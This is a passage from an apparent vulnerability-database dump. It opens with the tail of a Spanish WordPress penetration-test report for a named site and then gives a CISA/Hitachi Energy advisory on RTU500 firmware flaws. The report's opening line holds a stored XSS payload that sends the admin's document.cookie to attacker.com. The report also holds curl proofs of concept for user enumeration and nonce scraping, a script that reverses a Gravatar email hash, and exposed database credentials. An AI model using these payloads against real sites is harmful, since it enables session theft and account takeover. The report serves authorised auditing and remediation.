'meta[_elementor_data]=[{\"elType\":\"widget\",\"widgetType\":\"html\",\"settings\":{\"html\":\"<svg/onload=fetch(\\\"//attacker.com/\\\"+document.cookie)>\"}}]'\n        \nImpacto\n        \n\n          \nXSS persistente \u2192 robo de session cookies del administrador\n          \nAccount takeover del administrador cuando visita la p\u00e1gina\n          \nCadena hacia defacing y RCE desde XSS (auto-crear admin v\u00eda fetch)\n        \n        \nRemediaci\u00f3n\n        \n# Actualizar Elementor a \u2265 4.0.5\n# Workaround: restringir rol Contributor a usuarios de confianza\n      \n    \n\n    \n    \n\n      \n\n        H-03\n        Alto\n        Enumeraci\u00f3n de usuarios admin por 4 v\u00edas sin rate-limit\n      \n      \n\n        \nDescripci\u00f3n\n        \nEl username del administrador (marce) se obtiene por al menos 4 m\u00e9todos distintos, ninguno protegido por rate-limit ni captcha:\n        \nPoC\n        \n# M\u00e9todo 1: REST API bypass del filtro de Caddy\ncurl \"https://columtech.online/index.php?rest_route=/wp/v2/users\"\n# [{\"id\":1,\"slug\":\"marce\",...},{\"id\":2,\"slug\":\"prueba\",...}]\n\n# M\u00e9todo 2: author redirect\ncurl -I \"https://columtech.online/?author=1\"\n# 301 \u2192 /author/marce/\n\n# M\u00e9todo 3: wp-login oracle (respuesta diferente seg\u00fan usuario)\n# v\u00e1lido: \"la contrase\u00f1a que has introducido para marce no es correcta\"\n# inv\u00e1lido: \"El nombre de usuario nope123 no est\u00e1 registrado\"\n\n# M\u00e9todo 4: lostpassword oracle\n# v\u00e1lido: \"no se pudo enviar el correo electr\u00f3nico\" (usuario S\u00cd existe)\n# inv\u00e1lido: \"no hay ninguna cuenta con ese nombre de usuario\"\n        \nRemediaci\u00f3n\n        \n# Restringir REST users a autenticados:\nadd_filter('rest_endpoints', function($ep){\n    if(isset($ep['/wp/v2/users'])) unset($ep['/wp/v2/users']);\n    return $ep;\n});\n# Unificar mensajes de error de wp-login y lostpassword\n# Bloquear ?author= redirect\n      \n    \n\n    \n    \n\n      \n\n        H-04\n        Alto\n        Nonce de plugin Filevue expuesto en REST API sin autenticaci\u00f3n\n      \n      \n\n        \nDescripci\u00f3n\n        \nLa p\u00e1gina \u00abClient Portal\u00bb (ID=7) contiene el formulario de login del plugin Filevue con un nonce WordPress (_wpnonce) embebido en el HTML renderizado. Este HTML es devuelto por la REST API GET /wp/v2/pages/7 sin autenticaci\u00f3n, exponiendo el nonce a cualquier atacante.\n        \nPoC\n        \ncurl \"https://columtech.online/index.php?rest_route=/wp/v2/pages/7\" | \\\n  grep -o '_wpnonce\" value=\"[^\"]*\"'\n# _wpnonce\" value=\"ecd04e0712\"\n\n# El nonce permite enviar peticiones autenticadas a admin-post.php\n# sin estar logueado \u2014 usado para probar SQLi en filevue_client_login\n        \nRemediaci\u00f3n\n        \n# No embeber nonces en contenido REST p\u00fablico\n# Restringir /wp/v2/pages a usuarios autenticados o excluir p\u00e1gina Client Portal\n# Generar nonce en el lado cliente (JS) tras autenticaci\u00f3n\n      \n    \n\n    \n    \n\n      \n\n        M-01\n        Medio\n        Versiones desactualizadas \u2014 WordPress 7.0 / Elementor 4.0.2 / Apache 2.4.66\n      \n      \n\n        \nDescripci\u00f3n\n        \nElementor 4.0.2 es vulnerable a CVE-2026-6127 (parcheado en 4.0.5). Apache 2.4.66 es vulnerable a CVE-2026-23918 (RCE HTTP/2) y CVE-2026-24072 (read bypass via htaccess), ambos parcheados en 2.4.67. El meta generator expone versiones exactas.\n        \nRemediaci\u00f3n\n        \n# Actualizar Elementor: wp plugin update elementor\n# Actualizar Apache: apt-get upgrade apache2\n# Eliminar generator meta:\nremove_action('wp_head', 'wp_generator');\n# Eliminar readme.html y license.txt del webroot\n      \n    \n\n    \n    \n\n      \n\n        M-02\n        Medio\n        Email de usuario deducible por reverse Gravatar SHA-256\n      \n      \n\n        \nDescripci\u00f3n\n        \nLas URLs de avatar Gravatar incluyen el hash SHA-256 del email normalizado del usuario. El email de la cuenta prueba (prueba@gmail.com) fue deducido probando candidatos comunes contra el hash expuesto p\u00fablicamente en GET /wp/v2/users/2.\n        \nPoC\n        \nimport hashlib\nhash_target = \"913ef45dd4e1f647359a846bca8bffb8d25b22f2a79d34d71c9c90ef0eb53024\"\nfor email in [\"prueba@gmail.com\", ...]:\n    if hashlib.sha256(email.encode()).hexdigest() == hash_target:\n        print(\"MATCH:\", email)\n# MATCH: prueba@gmail.com\n        \nRemediaci\u00f3n\n        \n# Desactivar Gravatar en WordPress (usar avatar local)\n# O usar un email que no sea predecible para cuentas sensibles\n      \n    \n\n    \n    \n\n      \n\n        M-03\n        Medio\n        Recuperaci\u00f3n de contrase\u00f1a rota + oracle de usuario\n      \n      \n\n        \nDescripci\u00f3n\n        \nEl formulario de recuperaci\u00f3n de contrase\u00f1a falla con el error \u00abno se pudo enviar el correo electr\u00f3nico\u00bb para usuarios v\u00e1lidos, y \u00abno hay ninguna cuenta\u00bb para usuarios inexistentes. Esto act\u00faa como or\u00e1culo de enumeraci\u00f3n. Adem\u00e1s, el correo no se env\u00eda, por lo que el reset es inoperable \u2014 impacto en disponibilidad y posible vector de host-header injection si se configura SMTP en el futuro.\n        \nRemediaci\u00f3n\n        \n# 1. Configurar SMTP (WP Mail SMTP o Mailgun)\n# 2. Unificar mensaje de error (no revelar si usuario existe)\n# 3. Fijar siteurl y home en wp-config.php para prevenir host-header injection\ndefine('WP_SITEURL', 'https://www.columtech.online');\ndefine('WP_HOME', 'https://www.columtech.online');\n      \n    \n\n    \n    \n\n      \n\n        M-04\n        Medio\n        wp-cron.php accesible p\u00fablicamente\n      \n      \n\n        \nDescripci\u00f3n\n        \nwp-cron.php devuelve HTTP 200 y puede ser llamado externamente. Permite amplificar la carga del servidor llam\u00e1ndolo en bucle, actuando como vector de DoS.\n        \nRemediaci\u00f3n\n        \n# En wp-config.php:\ndefine('DISABLE_WP_CRON', true);\n# En crontab del servidor:\n*/5 * * * * curl -s https://www.columtech.online/wp-cron.php?doing_wp_cron=1 >/dev/null\n      \n    \n\n    \n    \n\n      \n\n        L-01\n        Bajo\n        Cabeceras de seguridad HTTP ausentes\n      \n      \n\n        \nDescripci\u00f3n\n        \nFaltan Strict-Transport-Security (HSTS), X-Content-Type-Options: nosniff y Permissions-Policy. La CSP solo cubre frame-ancestors 'self'.\n        \nRemediaci\u00f3n\n        \n# En Caddy (Caddyfile):\nheader Strict-Transport-Security \"max-age=31536000; includeSubDomains; preload\"\nheader X-Content-Type-Options \"nosniff\"\nheader Permissions-Policy \"geolocation=(), microphone=(), camera=()\"\n      \n    \n\n    \n    \n\n      \n\n        L-02\n        Bajo\n        Divulgaci\u00f3n de origen Apache y versi\u00f3n en p\u00e1ginas 404\n      \n      \n\n        \nDescripci\u00f3n\n        \nLas p\u00e1ginas 404 generadas por Apache revelan: Apache/2.4.66 (Debian) Server at www.columtech.online Port 80 \u2014 versi\u00f3n exacta, distribuci\u00f3n y que escucha en puerto 80 sin TLS.\n        \nRemediaci\u00f3n\n        \n# En apache2.conf:\nServerTokens Prod\nServerSignature Off\n      \n    \n\n    \n    \n\n      \n\n        L-03\n        Bajo\n        readme.html accesible \u2014 divulgaci\u00f3n de versi\u00f3n WordPress\n      \n      \n\n        \nDescripci\u00f3n\n        \n/readme.html devuelve HTTP 200 y revela la versi\u00f3n exacta de WordPress. Facilita targeting con CVEs de versi\u00f3n espec\u00edfica.\n        \nRemediaci\u00f3n\n        \nrm /var/www/html/readme.html /var/www/html/license.txt\n      \n    \n\n    \n    \n\n      \n\n        L-04\n        Bajo\n        CVE-2026-24072 Apache 2.4.66 \u2014 htaccess mod_rewrite file read\n      \n      \n\n        \nDescripci\u00f3n\n        \nApache 2.4.66 es vulnerable a CVE-2026-24072: un usuario con acceso de escritura a .htaccess puede leer ficheros fuera de su directorio con los privilegios del proceso httpd. En este caso, www-data ya tiene ese acceso, pero el vector es relevante en escenarios multiusuario.\n        \nRemediaci\u00f3n\n        \n# Actualizar Apache a 2.4.67+\napt-get upgrade apache2\n      \n    \n\n    \n    \n\n      \n\n        I-01\n        Info\n        Hardening de contenedor Docker \u2014 seccomp + AppArmor + ptrace_scope=3\n      \n      \n\n        \nDescripci\u00f3n\n        \nEl contenedor Docker presenta un perfil de hardening excepcional que bloque\u00f3 todos los CVEs de escalada de privilegios probados (12 t\u00e9cnicas distintas). Los syscalls AF_ALG, CLONE_NEWUSER, io_uring_setup y pidfd_getfd est\u00e1n bloqueados por seccomp. AppArmor docker-default bloquea escrituras a ficheros de sistema. ptrace_scope=3 impide toda inspecci\u00f3n de procesos. Este es el nivel de hardening correcto para workloads en producci\u00f3n.\n        \nCVEs probados y bloqueados\n        \nCVE-2026-31431 (Copy Fail)     \u2192 AF_ALG bloqueado por seccomp\nCVE-2026-43284 (Dirty Frag)    \u2192 CLONE_NEWUSER bloqueado\nCVE-2026-46300 (Fragnesia)     \u2192 CLONE_NEWUSER bloqueado\nCVE-2026-46333 (ssh-keysign)   \u2192 pidfd_getfd bloqueado\nio_uring exploits              \u2192 io_uring_setup bloqueado\nGameOver(lay)                  \u2192 CLONE_NEWUSER bloqueado\nCrackArmor                     \u2192 AppArmor FS inaccesible en container\nCVE-2026-27456 (mount TOCTOU)  \u2192 Sin /etc/fstab user,loop entries\ngpasswd shadow attack          \u2192 AppArmor bloquea escritura /etc/gshadow\n      \n    \n\n    \n    \n\n      \n\n        I-02\n        Info\n        Credenciales DB en texto claro en variables de entorno del container\n      \n      \n\n        \nDescripci\u00f3n\n        \nLas credenciales de MySQL est\u00e1n accesibles en texto claro v\u00eda /proc/self/environ para cualquier proceso del container (incluyendo www-data tras RCE):\n        \nWORDPRESS_DB_HOST=wordpress_db:3306\nWORDPRESS_DB_USER=wp_user\nWORDPRESS_DB_PASSWORD=wp_password\nWORDPRESS_DB_NAME=wordpress\n        \nRemediaci\u00f3n\n        \n# Usar Docker secrets en lugar de env vars para credenciales\n# O montar fichero de config encriptado desde un secrets manager\n      \n    \n\n    \n    \n\n      \n\n        I-03\n        Info\n        Kernel 6.8.0-117 vulnerable a CVE-2026-46333 (bloqueado por seccomp)\n      \n      \n\n        \nDescripci\u00f3n\n        \nEl kernel 6.8.0-117-generic (compilado el 5 Mayo 2026) es anterior al fix de CVE-2026-46333 (publicado el 14 Mayo 2026). La vulnerabilidad permite leer /etc/shadow mediante una race condition en __ptrace_may_access() + pidfd_getfd. El seccomp del container bloquea el syscall pidfd_getfd (438), mitigando completamente el exploit. Se verific\u00f3 que el exploit p\u00fablico fall\u00f3 con \u00abno hit in 500 rounds\u00bb.\n        \nRemediaci\u00f3n\n        \n# Actualizar el kernel del host cuando est\u00e9 disponible el parche\n# El seccomp profile actual ya protege contra este CVE\n      \n    \n\n  \n\n  \n\n    \nPlan de Remediaci\u00f3n \u00b7 Prioridad\n    \n\n      HOY (cr\u00edtico): Cambiar contrase\u00f1a de marce (m\u00ednimo 20 chars). Eliminar wp-loginizer.php, 2ops.php y todos los ficheros de auditor\u00eda del webroot. Desactivar XML-RPC. Eliminar plugin Code Snippets y el snippet malicioso.\n    \n    \n\n      Esta semana: Actualizar Elementor a \u2265 4.0.5 (parchea CVE-2026-6127). Actualizar Apache a 2.4.67 (parchea CVE-2026-23918 y CVE-2026-24072). Auditar todos los archivos PHP modificados en los \u00faltimos 90 d\u00edas. Configurar SMTP y unificar mensajes de error de wp-login. Restringir REST API users a autenticados. A\u00f1adir cabeceras de seguridad HTTP.\n    \n    \n\n      Este mes: Implementar 2FA para el panel de administraci\u00f3n. Migrar credenciales DB a Docker secrets. Configurar DISABLE_WP_CRON y cron real del sistema. Implementar WAF en Cloudflare para xmlrpc.php y ?author=. Eliminar readme.html y establecer ServerTokens Prod.\n    \n  \n\n  \n\n    \nAnexo \u00b7 Comandos de verificaci\u00f3n post-remediaci\u00f3n\n    \nEjecutar estos comandos tras aplicar las correcciones para confirmar que los vectores est\u00e1n cerrados:\n    \n# C-01: XML-RPC deshabilitado\ncurl -s -X POST https://columtech.online/xmlrpc.php | grep -c \"XML-RPC server accepts\"\n# Esperado: 0\n\n# C-02: Webshells eliminadas\ncurl -o /dev/null -w \"%{http_code}\" https://columtech.online/wp-loginizer.php\n# Esperado: 404\n\n# H-03: REST users requiere autenticaci\u00f3n\ncurl -s https://columtech.online/index.php?rest_route=/wp/v2/users | jq '.code'\n# Esperado: \"rest_forbidden\"\n\n# H-03: ?author= no revela usuario\ncurl -s -o /dev/null -w \"%{redirect_url}\" \"https://columtech.online/?author=1\"\n# Esperado: vac\u00edo o URL sin slug de usuario\n\n# L-01: HSTS presente\ncurl -sI https://columtech.online/ | grep -i strict-transport\n# Esperado: Strict-Transport-Security: max-age=...\n\n# L-03: readme.html eliminado\ncurl -o /dev/null -w \"%{http_code}\" https://columtech.online/readme.html\n# Esperado: 404\n  \n\n\n\n\n\n  Auditor\u00eda realizada por c4sh3r \u00b7 Reporte generado el 2026-06-04\n  Todos los hallazgos fueron verificados en entorno real con autorizaci\u00f3n del propietario. Las pruebas de escritura (defacing, webshells) fueron limpiadas inmediatamente tras la verificaci\u00f3n. PII real redactada.\n\n\n\n\n", "creation_timestamp": "2026-06-03T23:46:41.000000Z"}, {"uuid": "7589f07e-418c-43d1-8e0e-eee81a154b91", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24515", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-26-155-04", "content": "View CSAF\n\nSummary\n\nHitachi Energy is aware of vulnerabilities that affect RTU500 product versions listed in this document. If exploited, these vulnerabilities primarily impact product availability, with potential secondary impacts on confidentiality and integrity. Please refer to the Recommended Immediate Actions for information about the mitigation/remediation.\n\nThe following versions of Hitachi Energy RTU500 are affected:\n\n\n\nRTU500 series CMU Firmware vers:RTU500_series_CMU_Firmware/>=12.7.1|<=12.7.7, vers:RTU500_series_CMU_Firmware/>=13.5.1|<=13.5.4, vers:RTU500_series_CMU_Firmware/>=13.6.1|<=13.6.3, vers:RTU500_series_CMU_Firmware/>=13.7.1|<=13.7.8, 13.8.1, vers:RTU500_series_CMU_Firmware/>=13.7.1|<=13.7.7 (CVE-2025-69421, CVE-2026-24515, CVE-2026-25210, CVE-2026-32776, CVE-2026-32777, CVE-2026-32778, CVE-2026-8479, CVE-2025-69421, CVE-2026-24515, CVE-2026-25210, CVE-2026-32776, CVE-2026-32777, CVE-2026-32778, CVE-2026-8479, CVE-2025-69421, CVE-2026-24515, CVE-2026-25210, CVE-2026-32776, CVE-2026-32777, CVE-2026-32778, CVE-2026-8479, CVE-2025-69421, CVE-2026-24515, CVE-2026-25210, CVE-2026-32776, CVE-2026-32777, CVE-2026-32778, CVE-2025-69421, CVE-2026-24515, CVE-2026-25210, CVE-2026-32776, CVE-2026-32777, CVE-2026-32778, CVE-2026-8479, CVE-2026-8479)\n\n<div class=\"csaf-table\">\n\n\n\n\nCVSS\nVendor\nEquipment\nVulnerabilities\n\n\n\n\nv3 7.8\nHitachi Energy\nHitachi Energy RTU500\nNULL Pointer Dereference, Integer Overflow or Wraparound, Loop with Unreachable Exit Condition ('Infinite Loop')\n\n\n\n</div>\n\nBackground\n\n\n\nCritical Infrastructure Sectors: Dams, Energy, Water and Wastewater\n\nCountries/Areas Deployed: Worldwide\n\nCompany Headquarters Location: Switzerland\n\n\n\n\nVulnerabilities\n<div class=\"csaf-accordion\">\n\nExpand All +\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-69421\n<div class=\"csaf-accordion-content\">\n\nCWE-476: NULL Pointer Dereference. Issue summary: Processing a malformed PKCS#12 file can trigger a NULL pointer dereference in the PKCS12_item_decrypt_d2i_ex() function. Impact summary: A NULL pointer dereference can trigger a crash which leads to Denial of Service for an application processing PKCS#12 files. The PKCS12_item_decrypt_d2i_ex() function does not check whether the oct parameter is NULL before dereferencing it. When called from PKCS12_unpack_p7encdata() with a malformed PKCS#12 file, this parameter can be NULL, causing Denial of Service impact. The vulnerability is limited to Denial of Service and cannot be escalated to achieve code execution or memory disclosure. Product is affected, if a privileged user uploads a malformed PKCS#12 certificate via web interface or if PKI client functionality is configured.\n\nView CVE Details\n\n\n\nAffected Products\n\nHitachi Energy RTU500\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Hitachi Energy</div>\n<div class=\"ics-version\">Product Version:RTU500 series CMU Firmware version 12.7.1 \u2013 12.7.7, RTU500 series CMU Firmware version 13.5.1 \u2013 13.5.4, RTU500 series CMU Firmware version 13.6.1 \u2013 13.6.3, RTU500 series CMU Firmware version 13.7.1 \u2013 13.7.8, RTU500 series CMU Firmware version 13.8.1</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to CMU Firmware version 13.8.2\n\nMitigationFollow general mitigation factors/workarounds\n\nVendor fixUpdate to CMU Firmware version 13.7.9 (when available) or 13.8.2\n</div>\n\nRelevant CWE: CWE-476 NULL Pointer Dereference\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n6.5\nMEDIUM\nCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2026-24515\n<div class=\"csaf-accordion-content\">\n\nCWE-476: NULL Pointer Dereference. In libexpat before 2.7.4, XML_ExternalEntityParserCreate does not copy unknown encoding handler user data, causing Denial of Service impact. Product is only affected if IEC 61850 functionality is configured.\n\nView CVE Details\n\n\n\nAffected Products\n\nHitachi Energy RTU500\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Hitachi Energy</div>\n<div class=\"ics-version\">Product Version:RTU500 series CMU Firmware version 12.7.1 \u2013 12.7.7, RTU500 series CMU Firmware version 13.5.1 \u2013 13.5.4, RTU500 series CMU Firmware version 13.6.1 \u2013 13.6.3, RTU500 series CMU Firmware version 13.7.1 \u2013 13.7.8, RTU500 series CMU Firmware version 13.8.1</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to CMU Firmware version 13.8.2\n\nMitigationFollow general mitigation factors/workarounds\n\nVendor fixUpdate to CMU Firmware version 13.7.9 (when available) or 13.8.2\n</div>\n\nRelevant CWE: CWE-476 NULL Pointer Dereference\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n2.5\nLOW\nCVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:L\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2026-25210\n<div class=\"csaf-accordion-content\">\n\nCWE-190: Integer Overflow or Wraparound. In libexpat before 2.7.4, the doContent function does not properly determine the buffer size bufSize because there is no integer overflow check for tag buffer reallocation, primarily causing Denial of Service and potentially confidentiality and integrity impact to the product. Product is only affected if IEC 61850 functionality is configured.\n\nView CVE Details\n\n\n\nAffected Products\n\nHitachi Energy RTU500\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Hitachi Energy</div>\n<div class=\"ics-version\">Product Version:RTU500 series CMU Firmware version 12.7.1 \u2013 12.7.7, RTU500 series CMU Firmware version 13.5.1 \u2013 13.5.4, RTU500 series CMU Firmware version 13.6.1 \u2013 13.6.3, RTU500 series CMU Firmware version 13.7.1 \u2013 13.7.8, RTU500 series CMU Firmware version 13.8.1</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to CMU Firmware version 13.8.2\n\nMitigationFollow general mitigation factors/workarounds\n\nVendor fixUpdate to CMU Firmware version 13.7.9 (when available) or 13.8.2\n</div>\n\nRelevant CWE: CWE-190 Integer Overflow or Wraparound\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7.8\nHIGH\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2026-32776\n<div class=\"csaf-accordion-content\">\n\nCWE-476: NULL Pointer Dereference. libexpat before 2.7.5 allows a NULL pointer dereference with empty external parameter entity content, causing Denial of Service impact. Product is only affected if IEC 61850 functionality is configured.\n\nView CVE Details\n\n\n\nAffected Products\n\nHitachi Energy RTU500\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Hitachi Energy</div>\n<div class=\"ics-version\">Product Version:RTU500 series CMU Firmware version 12.7.1 \u2013 12.7.7, RTU500 series CMU Firmware version 13.5.1 \u2013 13.5.4, RTU500 series CMU Firmware version 13.6.1 \u2013 13.6.3, RTU500 series CMU Firmware version 13.7.1 \u2013 13.7.8, RTU500 series CMU Firmware version 13.8.1</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to CMU Firmware version 13.8.2\n\nMitigationFollow general mitigation factors/workarounds\n\nVendor fixUpdate to CMU Firmware version 13.7.9 (when available) or 13.8.2\n</div>\n\nRelevant CWE: CWE-476 NULL Pointer Dereference\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2026-32777\n<div class=\"csaf-accordion-content\">\n\nCWE-835: Loop with Unreachable Exit Condition ('Infinite Loop'). libexpat before 2.7.5 allows an infinite loop while parsing DTD content, causing Denial of Service impact. Product is only affected if IEC 61850 functionality is configured.\n\nView CVE Details\n\n\n\nAffected Products\n\nHitachi Energy RTU500\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Hitachi Energy</div>\n<div class=\"ics-version\">Product Version:RTU500 series CMU Firmware version 12.7.1 \u2013 12.7.7, RTU500 series CMU Firmware version 13.5.1 \u2013 13.5.4, RTU500 series CMU Firmware version 13.6.1 \u2013 13.6.3, RTU500 series CMU Firmware version 13.7.1 \u2013 13.7.8, RTU500 series CMU Firmware version 13.8.1</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to CMU Firmware version 13.8.2\n\nMitigationFollow general mitigation factors/workarounds\n\nVendor fixUpdate to CMU Firmware version 13.7.9 (when available) or 13.8.2\n</div>\n\nRelevant CWE: CWE-835 Loop with Unreachable Exit Condition ('Infinite Loop')\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2026-32778\n<div class=\"csaf-accordion-content\">\n\nCWE-476: NULL Pointer Dereference. libexpat before 2.7.5 allows a NULL pointer dereference in the function setContext on retry after an earlier out-of-memory condition, causing Denial of Service impact. Product is only affected if IEC 61850 functionality is configured.\n\nView CVE Details\n\n\n\nAffected Products\n\nHitachi Energy RTU500\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Hitachi Energy</div>\n<div class=\"ics-version\">Product Version:RTU500 series CMU Firmware version 12.7.1 \u2013 12.7.7, RTU500 series CMU Firmware version 13.5.1 \u2013 13.5.4, RTU500 series CMU Firmware version 13.6.1 \u2013 13.6.3, RTU500 series CMU Firmware version 13.7.1 \u2013 13.7.8, RTU500 series CMU Firmware version 13.8.1</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to CMU Firmware version 13.8.2\n\nMitigationFollow general mitigation factors/workarounds\n\nVendor fixUpdate to CMU Firmware version 13.7.9 (when available) or 13.8.2\n</div>\n\nRelevant CWE: CWE-476 NULL Pointer Dereference\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2026-8479\n<div class=\"csaf-accordion-content\">\n\nCWE-476: NULL Pointer Dereference. IEC 60870-5-104 used in bidirectional mode is vulnerable for a NULL pointer dereferencing, if a specially crafted sequence of messages is sent for a certain time, causing Denial of Service impact. Product is only affected if IEC 60870-5-104 functionality in bidirectional mode (BCI) is configured.\n\nView CVE Details\n\n\n\nAffected Products\n\nHitachi Energy RTU500\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Hitachi Energy</div>\n<div class=\"ics-version\">Product Version:RTU500 series CMU Firmware version 12.7.1 \u2013 12.7.7, RTU500 series CMU Firmware version 13.5.1 \u2013 13.5.4, RTU500 series CMU Firmware version 13.6.1 \u2013 13.6.3, RTU500 series CMU Firmware version 13.7.1 \u2013 13.7.7, RTU500 series CMU Firmware version 13.8.1</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to CMU Firmware version 13.8.2\n\nMitigationFollow general mitigation factors/workarounds\n\nVendor fixUpdate to CMU Firmware version 13.7.8\n</div>\n\nRelevant CWE: CWE-476 NULL Pointer Dereference\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n6.5\nMEDIUM\nCVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H\n\n\n4.0\n6.9\nMEDIUM\nCVSS:4.0/AV:A/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N\n\n\n\n</div>\n</div>\n</div>\n</div>\n\n\n\nAcknowledgments\n\n\n\nHitachi Energy Internal Team reported this vulnerability to CISA. \n\n\n\n\nNotice\n\nThe information in this document is subject to change without notice and should not be construed as a commitment by Hitachi Energy. Hitachi Energy provides no warranty, express or implied, including warranties of merchantability and fitness for a particular purpose, for the information contained in this document, and assumes no responsibility for any errors that may appear in this document. In no event shall Hitachi Energy or any of its suppliers be liable for direct, indirect, special, incidental or consequential damages of any nature or kind arising from the use of this document, or from the use of any hardware or software described in this document, even if Hitachi Energy or its suppliers have been advised of the possibility of such damages. This document and parts hereof must not be reproduced or copied without written permission from Hitachi Energy and the contents hereof must not be imparted to a third party nor used for any unauthorized purpose. All rights to registrations and trademarks reside with their respective owners.\n\n\n\nSupport\n\nFor additional information and support please contact your product provider or Hitachi Energy service organization. For contact information, see https://www.hitachienergy.com/contact-us/ for Hitachi Energy contact-centers.\n\n\n\nGeneral Mitigation Factors\n\nRecommended security practices and firewall configurations can help protect a process control network from attacks that originate from outside the network. Such practices include that process control systems are physically protected from direct access by unauthorized personnel, have no direct connections to the Internet, and are separated from other networks by means of a firewall system that has a minimal number of ports exposed, and others that have to be evaluated case by case. Process control systems should not be used for Internet surfing, instant messaging, or receiving e-mails. Portable computers and removable storage media should be carefully scanned for viruses before they are connected to a control system. Proper password policies and processes should be followed. Additional information on Industrial Control Systems Cybersecurity Best Practices can be found in the following Hitachi Energy Cybersecurity Notification. Cybersecurity Advisory - Industrial Control Systems Cybersecurity Best Practices\n\n\n\nSSVC\n\nSSVCv2/E:N/A:N/2026-05-26T08:50:36Z/\n\n\n\nLegal Notice and Terms of Use\n\nThis product is provided subject to this Notification (https://www.cisa.gov/notification) and this Privacy & Use policy (https://www.cisa.gov/privacy-policy).\n\n\n\nRecommended Practices\n\nCISA recommends users take defensive measures to minimize the exploitation risk of this vulnerability.\n\nMinimize network exposure for all control system devices and/or systems, and ensure they are not accessible from the internet.\n\nLocate control system networks and remote devices behind firewalls and isolate them from business networks.\n\nWhen remote access is required, use more secure methods, such as Virtual Private Networks (VPNs), recognizing VPNs may have vulnerabilities and should be updated to the most recent version available. Also recognize VPN is only as secure as its connected devices.\n\nCISA reminds organizations to perform proper impact analysis and risk assessment prior to deploying defensive measures.\n\nCISA also provides a section for control systems security recommended practices on the ICS webpage on cisa.gov. Several CISA products detailing cyber defense best practices are available for reading and download, including Improving Industrial Control Systems Cybersecurity with Defense-in-Depth Strategies.\n\nCISA encourages organizations to implement recommended cybersecurity strategies for proactive defense of ICS assets. Additional mitigation guidance and recommended practices are publicly available on the ICS webpage at cisa.gov in the technical information paper, ICS-TIP-12-146-01B--Targeted Cyber Intrusion Detection and Mitigation Strategies.\n\nOrganizations observing suspected malicious activity should follow established internal procedures and report findings to CISA for tracking and correlation against other incidents.\n\n\n\nAdvisory Conversion Disclaimer\n\nThis ICSA is a verbatim republication of Hitachi Energy PSIRT 8DBD000252 from a direct conversion of the vendor's Common Security Advisory Framework (CSAF) advisory. This is republished to CISA's website as a means of increasing visibility and is provided \"as-is\" for informational purposes only. CISA is not responsible for the editorial or technical accuracy of republished advisories and provides no warranties of any kind regarding any 